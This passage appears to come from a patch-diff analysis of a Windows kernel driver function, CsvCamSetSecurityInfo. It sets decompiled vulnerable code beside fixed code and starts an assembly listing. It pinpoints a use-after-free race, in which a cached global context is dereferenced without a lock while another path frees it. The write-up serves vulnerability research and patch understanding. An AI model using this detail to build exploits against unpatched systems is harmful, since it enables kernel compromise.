&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CachedCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f518&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e61 — unlocked read&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e70 — DEREF #1 (UAF)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// ctx-&amp;gt;data_ptr is then passed to a copy/compare:&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0008940&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;inline_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [arg1+0xd8]&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e77 — DEREF #2 (UAF)&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// ---- cache-miss: alloc + free + replace ----&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;CachedCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CVCA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039ef5&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;newctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Initialize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0028308&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;newctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;inline_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039f5b&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039f6c&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f530&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;CachedCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f518&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039f78&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;scalar_deleting_destructor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0027c28&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039f84 — FREE OLD&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f518&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newctx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039f90 — REPLACE&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f530&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... second global access under shared lock follows ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched (fixed)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CsvCamSetSecurityInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C0039E30&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;MessageCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// [arg1+0xd4]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e53 cmp / 0x1c0039e59 jbe — equivalent non-zero check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ==== ACQUIRE SigningLock SHARED (same lock the writer takes exclusive) ====&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireShared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0027d70&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f560&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e5f load / 0x1c0039e69 — ACQUIRE SHARED&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CachedCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f0c0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e6e — read UNDER LOCK&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e7a — safe deref&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0008940&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;inline_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// safe deref&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ReleaseShared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c00289ec&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c002f560&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039ef9 — RELEASE SHARED&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// cache-miss alloc + Encryption::Initialize then free+replace run AFTER the&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// shared release, under the exclusive ERESOURCE at 0x1c0039f74 (unchanged)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The two changes worth highlighting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;0x1c0039e61&lt;/strong&gt; (unpatched): &lt;code&gt;mov rdx, [rel 0x1c002f518]&lt;/code&gt; reads the global with no lock.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0x1c0039e69&lt;/strong&gt; (patched): &lt;code&gt;call RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; takes &lt;code&gt;SigningLock&lt;/code&gt; shared &lt;em&gt;before&lt;/em&gt; the global read at &lt;code&gt;0x1c0039e6e&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched — vulnerable block (read + deref with no lock)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- entry / guard ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e48:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; arg1+0xd4 = attacker length&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e4e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e50:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e53:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rsi = arg1 (msg buffer)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e56:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e59:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; len != 0 ?&lt;/span&gt;
